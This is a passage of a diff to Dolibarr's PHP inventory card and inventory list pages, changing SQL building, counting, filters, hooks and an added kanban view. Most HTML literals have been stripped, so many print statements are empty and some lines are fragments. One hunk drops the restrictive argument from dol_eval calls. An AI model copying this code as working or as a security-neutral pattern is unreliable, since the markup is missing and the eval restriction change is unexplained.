$product_static->pmp; + $pmp_valuation_real = $pmp_real * $qty_view; + print ''; + print ''; + print ''; + print ''; + print ''; + print img_picto('', 'eraser', 'class="opacitymedium"'); + print ''; + print ''; + print ''; + print ''.img_delete().''; + $qty_tmp = price2num(GETPOST("id_".$obj->rowid."_input_tmp", 'MS')) >= 0 ? GETPOST("id_".$obj->rowid."_input_tmp") : $qty_view; + print ''; print ''; - print ''; - print ''; - print ''; - print '
      '; - print $warehouse_static->getNomUrl(1); - print ''; - print $product_static->getNomUrl(1).' - '.$product_static->label; - print ''; - $batch_static = new Productlot($db); - $res = $batch_static->fetch(0, $product_static->id, $obj->batch); - if ($res) { - print $batch_static->getNomUrl(1); - } else { - print dol_escape_htmltag($obj->batch); - } - print ''; - $valuetoshow = $obj->qty_stock; - // For inventory not yet close, we overwrite with the real value in stock now - if ($object->status == $object::STATUS_DRAFT || $object->status == $object::STATUS_VALIDATED) { - if (isModEnabled('productbatch') && $product_static->hasbatch()) { - $valuetoshow = $product_static->stock_warehouse[$obj->fk_warehouse]->detail_batch[$obj->batch]->qty; - } else { - $valuetoshow = $product_static->stock_warehouse[$obj->fk_warehouse]->real; - } - } - print price2num($valuetoshow, 'MS'); - print ''; - print ''; - print price($pmp_expected); - print ''; - print ''; - print price($pmp_valuation); - print ''; - print ''; - print img_picto('', 'eraser', 'class="opacitymedium"'); - print ''; - print ''; - print ''; - - - if (!empty($obj->pmp_real)) $pmp_real = $obj->pmp_real; - else $pmp_real = $product_static->pmp; - $pmp_valuation_real = $pmp_real * $qty_view; - print ''; - print ''; - print ''; - print ''; - print ''; - print img_picto('', 'eraser', 'class="opacitymedium"'); - print ''; - print ''; - print ''; - print ''.img_delete().''; - $qty_tmp = price2num(GETPOST("id_".$obj->rowid."_input_tmp", 'MS')) >= 0 ? GETPOST("id_".$obj->rowid."_input_tmp") : $qty_view; - print ''; + print price($pmp_expected); print ''; + print price($pmp_valuation); + print ''; + print $obj->qty_view; // qty found + print ''; + if (!empty($obj->pmp_real)) $pmp_real = $obj->pmp_real; + else $pmp_real = $product_static->pmp; + $pmp_valuation_real = $pmp_real * $obj->qty_view; + print price($pmp_real); + print ''; + print price($pmp_valuation_real); + print ''; + + $totalExpectedValuation += $pmp_valuation; + $totalRealValuation += $pmp_valuation_real; } else { - if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { - //PMP Expected - if (!empty($obj->pmp_expected)) $pmp_expected = $obj->pmp_expected; - else $pmp_expected = $product_static->pmp; - $pmp_valuation = $pmp_expected * $valuetoshow; - print ''; - print price($pmp_expected); - print ''; - print price($pmp_valuation); - print ''; - print $obj->qty_view; // qty found - print ''; - if (!empty($obj->pmp_real)) $pmp_real = $obj->pmp_real; - else $pmp_real = $product_static->pmp; - $pmp_valuation_real = $pmp_real * $obj->qty_view; - print price($pmp_real); - print ''; - print price($pmp_valuation_real); - print ''; - - $totalExpectedValuation += $pmp_valuation; - $totalRealValuation += $pmp_valuation_real; - } else { - print ''; - print $obj->qty_view; // qty found - print ''; + print $obj->qty_view; // qty found print '
      '.$langs->trans("Total").''.price($totalExpectedValuation).''.price($totalRealValuation).'
      '; +} else { + dol_print_error($db); +} +if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { + print ''; + print ''.$langs->trans("Total").''; + print ''.price($totalExpectedValuation).''; + print ''.price($totalRealValuation).''; + print ''; + print ''; +} +print ''; - print ''; +print ''; - if ($object->status == $object::STATUS_VALIDATED) { - print '
      '; - } +if ($object->status == $object::STATUS_VALIDATED) { + print '
      '; +} - print ''; +print ''; - // Call method to disable the button if no qty entered yet for inventory - - if ($object->status != $object::STATUS_VALIDATED || !$hasinput) { - print ''; - } - print ''; - +// Call method to disable the button if no qty entered yet for inventory +/* +if ($object->status != $object::STATUS_VALIDATED || !$hasinput) { print ''; +} +*/ + +print ''; + +print ''; +'; - if (!empty($conf->global->INVENTORY_MANAGE_REAL_PMP)) { - ?> - - global->INVENTORY_MANAGE_REAL_PMP)) { + ?> + + liste_limit; $sortfield = GETPOST('sortfield', 'aZ09comma'); $sortorder = GETPOST('sortorder', 'aZ09comma'); $page = GETPOSTISSET('pageplusone') ? (GETPOST('pageplusone') - 1) : GETPOST("page", 'int'); -if (empty($page) || $page == -1 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha') || (empty($toselect) && $massaction === '0')) { - // If $page is not defined, or '' or -1 or if we click on clear filters or if we select empty mass action +if (empty($page) || $page < 0 || GETPOST('button_search', 'alpha') || GETPOST('button_removefilter', 'alpha')) { + // If $page is not defined, or '' or -1 or if we click on clear filters $page = 0; } $offset = $limit * $page; @@ -112,11 +113,11 @@ $arrayfields = array(); foreach ($object->fields as $key => $val) { // If $val['visible']==0, then we never show the field if (!empty($val['visible'])) { - $visible = (int) dol_eval($val['visible'], 1, 1, '1'); + $visible = (int) dol_eval($val['visible'], 1); $arrayfields['t.'.$key] = array( 'label'=>$val['label'], 'checked'=>(($visible < 0) ? 0 : 1), - 'enabled'=>($visible != 3 && dol_eval($val['enabled'], 1, 1, '1')), + 'enabled'=>(abs($visible) != 3 && dol_eval($val['enabled'], 1)), 'position'=>$val['position'], 'help'=> isset($val['help']) ? $val['help'] : '' ); @@ -202,9 +203,9 @@ $form = new Form($db); $now = dol_now(); +$title = $langs->trans('Inventories'); //$help_url="EN:Module_Inventory|FR:Module_Inventory_FR|ES:Módulo_Inventory"; $help_url = ''; -$title = $langs->trans('ListOfInventories'); $morejs = array(); $morecss = array(); @@ -221,16 +222,19 @@ if (!empty($extrafields->attributes[$object->table_element]['label'])) { } // Add fields from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object); // Note that $action and $object may have been modified by hook -$sql .= preg_replace('/^,/', '', $hookmanager->resPrint); +$reshook = $hookmanager->executeHooks('printFieldListSelect', $parameters, $object, $action); // Note that $action and $object may have been modified by hook +$sql .= $hookmanager->resPrint; $sql = preg_replace('/,\s*$/', '', $sql); + +$sqlfields = $sql; // $sql fields to remove for count total + $sql .= " FROM ".MAIN_DB_PREFIX.$object->table_element." as t"; if (isset($extrafields->attributes[$object->table_element]['label']) && is_array($extrafields->attributes[$object->table_element]['label']) && count($extrafields->attributes[$object->table_element]['label'])) { $sql .= " LEFT JOIN ".MAIN_DB_PREFIX.$object->table_element."_extrafields as ef on (t.rowid = ef.fk_object)"; } // Add table from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFrom', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; if ($object->ismultientitymanaged == 1) { $sql .= " WHERE t.entity IN (".getEntity($object->element).")"; @@ -250,17 +254,17 @@ foreach ($search as $key => $val) { $mode_search = 2; } if ($search[$key] != '') { - $sql .= natural_search($key, $search[$key], (($key == 'status') ? 2 : $mode_search)); + $sql .= natural_search("t.".$db->escape($key), $search[$key], (($key == 'status') ? 2 : $mode_search)); } } else { if (preg_match('/(_dtstart|_dtend)$/', $key) && $search[$key] != '') { $columnName = preg_replace('/(_dtstart|_dtend)$/', '', $key); if (preg_match('/^(date|timestamp|datetime)/', $object->fields[$columnName]['type'])) { if (preg_match('/_dtstart$/', $key)) { - $sql .= " AND t.".$columnName." >= '".$db->idate($search[$key])."'"; + $sql .= " AND t.".$db->escape($columnName)." >= '".$db->idate($search[$key])."'"; } if (preg_match('/_dtend$/', $key)) { - $sql .= " AND t." . $columnName . " <= '" . $db->idate($search[$key]) . "'"; + $sql .= " AND t.".$db->escape($columnName)." <= '".$db->idate($search[$key])."'"; } } } @@ -302,18 +306,19 @@ if (!empty($searchCategoryProductList)) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_sql.tpl.php'; // Add where from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListWhere', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $sql .= $hookmanager->resPrint; /* If a group by is required $sql.= " GROUP BY "; -foreach($object->fields as $key => $val) -{ - $sql .= "t.".$key.", "; +foreach($object->fields as $key => $val) { + $sql .= "t.".$db->escape($key).", "; } // Add fields from extrafields if (!empty($extrafields->attributes[$object->table_element]['label'])) { - foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) $sql.=($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); + foreach ($extrafields->attributes[$object->table_element]['label'] as $key => $val) { + $sql .= ($extrafields->attributes[$object->table_element]['type'][$key] != 'separate' ? "ef.".$key.', ' : ''); + } } // Add where from hooks $parameters=array(); @@ -322,35 +327,41 @@ $sql.=$hookmanager->resPrint; $sql=preg_replace('/,\s*$/','', $sql); */ -$sql .= $db->order($sortfield, $sortorder); - // Count total nb of records $nbtotalofrecords = ''; if (empty($conf->global->MAIN_DISABLE_FULL_SCANLIST)) { - $resql = $db->query($sql); - $nbtotalofrecords = $db->num_rows($resql); - if (($page * $limit) > $nbtotalofrecords) { // if total of record found is smaller than page * limit, goto and load page 0 + /* The fast and low memory method to get and count full list converts the sql into a sql count */ + $sqlforcount = preg_replace('/^'.preg_quote($sqlfields, '/').'/', 'SELECT COUNT(*) as nbtotalofrecords', $sql); + $sqlforcount = preg_replace('/GROUP BY .*$/', '', $sqlforcount); + $resql = $db->query($sqlforcount); + if ($resql) { + $objforcount = $db->fetch_object($resql); + $nbtotalofrecords = $objforcount->nbtotalofrecords; + } else { + dol_print_error($db); + } + + if (($page * $limit) > $nbtotalofrecords) { // if total resultset is smaller then paging size (filtering), goto and load page 0 $page = 0; $offset = 0; } + $db->free($resql); } -// if total of record found is smaller than limit, no need to do paging and to restart another select with limits set. -if (is_numeric($nbtotalofrecords) && ($limit > $nbtotalofrecords || empty($limit))) { - $num = $nbtotalofrecords; -} else { - if ($limit) { - $sql .= $db->plimit($limit + 1, $offset); - } - $resql = $db->query($sql); - if (!$resql) { - dol_print_error($db); - exit; - } - - $num = $db->num_rows($resql); +// Complete request and execute it with limit +$sql .= $db->order($sortfield, $sortorder); +if ($limit) { + $sql .= $db->plimit($limit + 1, $offset); } +$resql = $db->query($sql); +if (!$resql) { + dol_print_error($db); + exit; +} + +$num = $db->num_rows($resql); + // Direct jump if only one record found if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $search_all && !$page) { $obj = $db->fetch_object($resql); @@ -363,23 +374,32 @@ if ($num == 1 && !empty($conf->global->MAIN_SEARCH_DIRECT_OPEN_IF_ONLY_ONE) && $ // Output page // -------------------------------------------------------------------- -llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'classforhorizontalscrolloftabs'); +llxHeader('', $title, $help_url, '', 0, 0, $morejs, $morecss, '', 'bodyforlist'); // Can use also classforhorizontalscrolloftabs instead of bodyforlist for no horizontal scroll $arrayofselected = is_array($toselect) ? $toselect : array(); $param = ''; +if (!empty($mode)) { + $param .= '&mode='.urlencode($mode); +} if (!empty($contextpage) && $contextpage != $_SERVER["PHP_SELF"]) { $param .= '&contextpage='.urlencode($contextpage); } if ($limit > 0 && $limit != $conf->liste_limit) { - $param .= '&limit='.urlencode($limit); + $param .= '&limit='.((int) $limit); } foreach ($search as $key => $val) { - if (is_array($search[$key]) && count($search[$key])) { + if (is_array($search[$key])) { foreach ($search[$key] as $skey) { - $param .= '&search_'.$key.'[]='.urlencode($skey); + if ($skey != '') { + $param .= '&search_'.$key.'[]='.urlencode($skey); + } } - } else { + } elseif (preg_match('/(_dtstart|_dtend)$/', $key) && !empty($val)) { + $param .= '&search_'.$key.'month='.((int) GETPOST('search_'.$key.'month', 'int')); + $param .= '&search_'.$key.'day='.((int) GETPOST('search_'.$key.'day', 'int')); + $param .= '&search_'.$key.'year='.((int) GETPOST('search_'.$key.'year', 'int')); + } elseif ($search[$key] != '') { $param .= '&search_'.$key.'='.urlencode($search[$key]); } } @@ -393,7 +413,7 @@ foreach ($searchCategoryProductList as $searchCategoryProduct) { include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_param.tpl.php'; // Add $param from hooks $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListSearchParam', $parameters, $object, $action); // Note that $action and $object may have been modified by hook $param .= $hookmanager->resPrint; // List of mass actions available @@ -403,7 +423,7 @@ $arrayofmassactions = array( //'builddoc'=>img_picto('', 'pdf', 'class="pictofixedwidth"').$langs->trans("PDFMerge"), //'presend'=>img_picto('', 'email', 'class="pictofixedwidth"').$langs->trans("SendByMail"), ); -if ($permissiontodelete) { +if (!empty($permissiontodelete)) { $arrayofmassactions['predelete'] = img_picto('', 'delete', 'class="pictofixedwidth"').$langs->trans("Delete"); } if (GETPOST('nomassaction', 'int') || in_array($massaction, array('presend', 'predelete'))) { @@ -422,8 +442,14 @@ print ''; print ''; print ''; print ''; +print ''; +print ''; -$newcardbutton = dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/inventory/card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); +$newcardbutton = ''; +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewList'), '', 'fa fa-bars imgforviewmode', $_SERVER["PHP_SELF"].'?mode=common'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ((empty($mode) || $mode == 'common') ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitle($langs->trans('ViewKanban'), '', 'fa fa-th-list imgforviewmode', $_SERVER["PHP_SELF"].'?mode=kanban'.preg_replace('/(&|\?)*mode=[^&]+/', '', $param), '', ($mode == 'kanban' ? 2 : 1), array('morecss'=>'reposition')); +$newcardbutton .= dolGetButtonTitleSeparator(); +$newcardbutton .= dolGetButtonTitle($langs->trans('New'), '', 'fa fa-plus-circle', DOL_URL_ROOT.'/product/inventory/card.php?action=create&backtopage='.urlencode($_SERVER['PHP_SELF']), '', $permissiontoadd); print_barre_liste($title, $page, $_SERVER["PHP_SELF"], $param, $sortfield, $sortorder, $massactionbutton, $num, $nbtotalofrecords, $object->picto, 0, $newcardbutton, '', $limit, 0, 0, 1); @@ -435,10 +461,13 @@ $trackid = 'stockinv'.$object->id; include DOL_DOCUMENT_ROOT.'/core/tpl/massactions_pre.tpl.php'; if ($search_all) { + $setupstring = ''; foreach ($fieldstosearchall as $key => $val) { $fieldstosearchall[$key] = $langs->trans($val); + $setupstring .= $key."=".$val.";"; } - print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '; + print ''."\n"; + print '
      '.$langs->trans("FilterOnInto", $search_all).join(', ', $fieldstosearchall).'
      '."\n"; } $moreforfilter = ''; @@ -460,7 +489,7 @@ if (!empty($conf->global->MAIN_SEARCH_CATEGORY_PRODUCT_ON_LISTS) && isModEnabled } $parameters = array(); -$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook if (empty($reshook)) { $moreforfilter .= $hookmanager->resPrint; } else { @@ -470,11 +499,14 @@ if (empty($reshook)) { if (!empty($moreforfilter)) { print '
      '; print $moreforfilter; + $parameters = array(); + $reshook = $hookmanager->executeHooks('printFieldPreListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; print '
      '; } $varpage = empty($contextpage) ? $_SERVER["PHP_SELF"] : $contextpage; -$selectedfields = $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage); // This also change content of $arrayfields +$selectedfields = ($mode != 'kanban' ? $form->multiSelectArrayWithCheckbox('selectedfields', $arrayfields, $varpage, getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN', '')) : ''); // This also change content of $arrayfields $selectedfields .= (count($arrayofmassactions) ? $form->showCheckAddButtons('checkforselect', 1) : ''); print '
      '; // You can use div-table-responsive-no-min if you dont need reserved height for your table @@ -483,8 +515,16 @@ print ''; +print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} foreach ($object->fields as $key => $val) { + $searchkey = empty($search[$key]) ? '' : $search[$key]; $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { $cssforfield .= ($cssforfield ? ' ' : '').'center'; @@ -492,17 +532,15 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; } @@ -519,19 +563,28 @@ include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_input.tpl.php'; // Fields from hook $parameters = array('arrayfields'=>$arrayfields); -$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListOption', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print ''; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; +} print ''."\n"; +$totalarray = array(); +$totalarray['nbfield'] = 0; // Fields title label // -------------------------------------------------------------------- print ''; +// Action column +if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} foreach ($object->fields as $key => $val) { $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); if ($key == 'status') { @@ -540,21 +593,26 @@ foreach ($object->fields as $key => $val) { $cssforfield .= ($cssforfield ? ' ' : '').'center'; } elseif (in_array($val['type'], array('timestamp'))) { $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { + } elseif (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && $key != 'rowid' && $val['label'] != 'TechnicalID' && empty($val['arrayofkeyval'])) { $cssforfield .= ($cssforfield ? ' ' : '').'right'; } + $cssforfield = preg_replace('/small\s*/', '', $cssforfield); // the 'small' css must not be used for the title label if (!empty($arrayfields['t.'.$key]['checked'])) { - print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''))."\n"; + print getTitleFieldOfList($arrayfields['t.'.$key]['label'], 0, $_SERVER['PHP_SELF'], 't.'.$key, '', $param, ($cssforfield ? 'class="'.$cssforfield.'"' : ''), $sortfield, $sortorder, ($cssforfield ? $cssforfield.' ' : ''), 0, (empty($val['helplist']) ? '' : $val['helplist']))."\n"; + $totalarray['nbfield']++; } } // Extra fields include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_search_title.tpl.php'; // Hook fields -$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder); -$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object); // Note that $action and $object may have been modified by hook +$parameters = array('arrayfields'=>$arrayfields, 'param'=>$param, 'sortfield'=>$sortfield, 'sortorder'=>$sortorder, 'totalarray'=>&$totalarray); +$reshook = $hookmanager->executeHooks('printFieldListTitle', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; // Action column -print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; +if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print getTitleFieldOfList($selectedfields, 0, $_SERVER["PHP_SELF"], '', '', '', '', $sortfield, $sortorder, 'center maxwidthsearch ')."\n"; + $totalarray['nbfield']++; +} print ''."\n"; @@ -562,7 +620,7 @@ print ''."\n"; $needToFetchEachLine = 0; if (isset($extrafields->attributes[$object->table_element]['computed']) && is_array($extrafields->attributes[$object->table_element]['computed']) && count($extrafields->attributes[$object->table_element]['computed']) > 0) { foreach ($extrafields->attributes[$object->table_element]['computed'] as $key => $val) { - if (preg_match('/\$object/', $val)) { + if ($val && preg_match('/\$object/', $val)) { $needToFetchEachLine++; // There is at least one compute field that use $object } } @@ -571,9 +629,11 @@ if (isset($extrafields->attributes[$object->table_element]['computed']) && is_ar // Loop on record // -------------------------------------------------------------------- $i = 0; +$savnbfield = $totalarray['nbfield']; $totalarray = array(); $totalarray['nbfield'] = 0; -while ($i < ($limit ? min($num, $limit) : $num)) { +$imaxinloop = ($limit ? min($num, $limit) : $num); +while ($i < $imaxinloop) { $obj = $db->fetch_object($resql); if (empty($obj)) { break; // Should not happen @@ -582,74 +642,115 @@ while ($i < ($limit ? min($num, $limit) : $num)) { // Store properties in $object $object->setVarsFromFetchObj($obj); - // Show here line of result - print ''; - foreach ($object->fields as $key => $val) { - $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); - if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; - } elseif ($key == 'status') { - $cssforfield .= ($cssforfield ? ' ' : '').'center'; + if ($mode == 'kanban') { + if ($i == 0) { + print ''; } - - if (!empty($arrayfields['t.'.$key]['checked'])) { - print ''; - if ($key == 'status') { - print $object->getLibStatut(5); - } elseif ($key == 'rowid') { - print $object->showOutputField($val, $key, $object->id, ''); - } else { - print $object->showOutputField($val, $key, $object->$key, ''); + } else { + // Show here line of result + $j = 0; + print ''; + // Action column + if (getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; if (!$i) { $totalarray['nbfield']++; } - if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + } + foreach ($object->fields as $key => $val) { + $cssforfield = (empty($val['csslist']) ? (empty($val['css']) ? '' : $val['css']) : $val['csslist']); + if (in_array($val['type'], array('date', 'datetime', 'timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } elseif ($key == 'status') { + $cssforfield .= ($cssforfield ? ' ' : '').'center'; + } + + if (in_array($val['type'], array('timestamp'))) { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } elseif ($key == 'ref') { + $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + } + + if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { + $cssforfield .= ($cssforfield ? ' ' : '').'right'; + } + + if (!empty($arrayfields['t.'.$key]['checked'])) { + print '$key)) { + print ' title="'.dol_escape_htmltag($object->$key).'"'; + } + print '>'; + if ($key == 'status') { + print $object->getLibStatut(5); + } elseif ($key == 'rowid') { + print $object->showOutputField($val, $key, $object->id, ''); + } else { + print $object->showOutputField($val, $key, $object->$key, ''); + } + print ''; if (!$i) { - $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + $totalarray['nbfield']++; } - if (!isset($totalarray['val'])) { - $totalarray['val'] = array(); + if (!empty($val['isameasure']) && $val['isameasure'] == 1) { + if (!$i) { + $totalarray['pos'][$totalarray['nbfield']] = 't.'.$key; + } + if (!isset($totalarray['val'])) { + $totalarray['val'] = array(); + } + if (!isset($totalarray['val']['t.'.$key])) { + $totalarray['val']['t.'.$key] = 0; + } + $totalarray['val']['t.'.$key] += $object->$key; } - if (!isset($totalarray['val']['t.'.$key])) { - $totalarray['val']['t.'.$key] = 0; - } - $totalarray['val']['t.'.$key] += $object->$key; } } - } - // Extra fields - include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; - // Fields from hook - $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); - $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object); // Note that $action and $object may have been modified by hook - print $hookmanager->resPrint; - // Action column - print ''; + if (!$i) { + $totalarray['nbfield']++; + } } - print ''; - } - print ''; - if (!$i) { - $totalarray['nbfield']++; - } - print ''."\n"; + print ''."\n"; + } $i++; } @@ -666,14 +767,14 @@ if ($num == 0) { $colspan++; } } - print ''; + print ''; } $db->free($resql); $parameters = array('arrayfields'=>$arrayfields, 'sql'=>$sql); -$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object); // Note that $action and $object may have been modified by hook +$reshook = $hookmanager->executeHooks('printFieldListFooter', $parameters, $object, $action); // Note that $action and $object may have been modified by hook print $hookmanager->resPrint; print '
      '; + $searchpicto = $form->showFilterButtons('left'); + print $searchpicto; + print ''; + print ''; if (!empty($val['arrayofkeyval']) && is_array($val['arrayofkeyval'])) { - print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100', 1); + print $form->selectarray('search_'.$key, $val['arrayofkeyval'], (isset($search[$key]) ? $search[$key] : ''), $val['notnull'], 0, 0, '', 1, 0, 0, '', 'maxwidth100'.($key == 'status' ? ' search_status width100 onrightofpage' : ''), 1); } elseif ((strpos($val['type'], 'integer:') === 0) || (strpos($val['type'], 'sellist:') === 0)) { - print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', 'maxwidth125', 1); - } elseif (!preg_match('/^(date|timestamp|datetime)/', $val['type'])) { - print ''; + print $object->showInputField($val, $key, (isset($search[$key]) ? $search[$key] : ''), '', '', 'search_', $cssforfield.' maxwidth250', 1); } elseif (preg_match('/^(date|timestamp|datetime)/', $val['type'])) { print '
      '; print $form->selectDate($search[$key.'_dtstart'] ? $search[$key.'_dtstart'] : '', "search_".$key."_dtstart", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('From')); @@ -510,6 +548,12 @@ foreach ($object->fields as $key => $val) { print '
      '; print $form->selectDate($search[$key.'_dtend'] ? $search[$key.'_dtend'] : '', "search_".$key."_dtend", 0, 0, 1, '', 1, 0, 0, '', '', '', '', 1, '', $langs->trans('to')); print '
      '; + } elseif ($key == 'lang') { + require_once DOL_DOCUMENT_ROOT.'/core/class/html.formadmin.class.php'; + $formadmin = new FormAdmin($db); + print $formadmin->select_language($search[$key], 'search_lang', 0, null, 1, 0, 0, 'minwidth150 maxwidth200', 2); + } else { + print ''; } print '
      '; -$searchpicto = $form->showFilterButtons(); -print $searchpicto; -print ''; + $searchpicto = $form->showFilterButtons(); + print $searchpicto; + print '
      '; + print '
      '; } - - if (in_array($val['type'], array('timestamp'))) { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; - } elseif ($key == 'ref') { - $cssforfield .= ($cssforfield ? ' ' : '').'nowrap'; + // Output Kanban + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } } - - if (in_array($val['type'], array('double(24,8)', 'double(6,3)', 'integer', 'real', 'price')) && !in_array($key, array('rowid', 'status')) && empty($val['arrayofkeyval'])) { - $cssforfield .= ($cssforfield ? ' ' : '').'right'; + print $object->getKanbanView(''); + if ($i == ($imaxinloop - 1)) { + print '
      '; + print '
      '; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; } print ''; - if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined - $selected = 0; - if (in_array($object->id, $arrayofselected)) { - $selected = 1; + // Extra fields + include DOL_DOCUMENT_ROOT.'/core/tpl/extrafields_list_print_fields.tpl.php'; + // Fields from hook + $parameters = array('arrayfields'=>$arrayfields, 'object'=>$object, 'obj'=>$obj, 'i'=>$i, 'totalarray'=>&$totalarray); + $reshook = $hookmanager->executeHooks('printFieldListValue', $parameters, $object, $action); // Note that $action and $object may have been modified by hook + print $hookmanager->resPrint; + // Action column + if (!getDolGlobalString('MAIN_CHECKBOX_LEFT_COLUMN')) { + print ''; + if ($massactionbutton || $massaction) { // If we are in select mode (massactionbutton defined) or if we have already selected and sent an action ($massaction) defined + $selected = 0; + if (in_array($object->id, $arrayofselected)) { + $selected = 1; + } + print ''; + } + print '
      '.$langs->trans("NoRecordFound").'
      '.$langs->trans("NoRecordFound").'
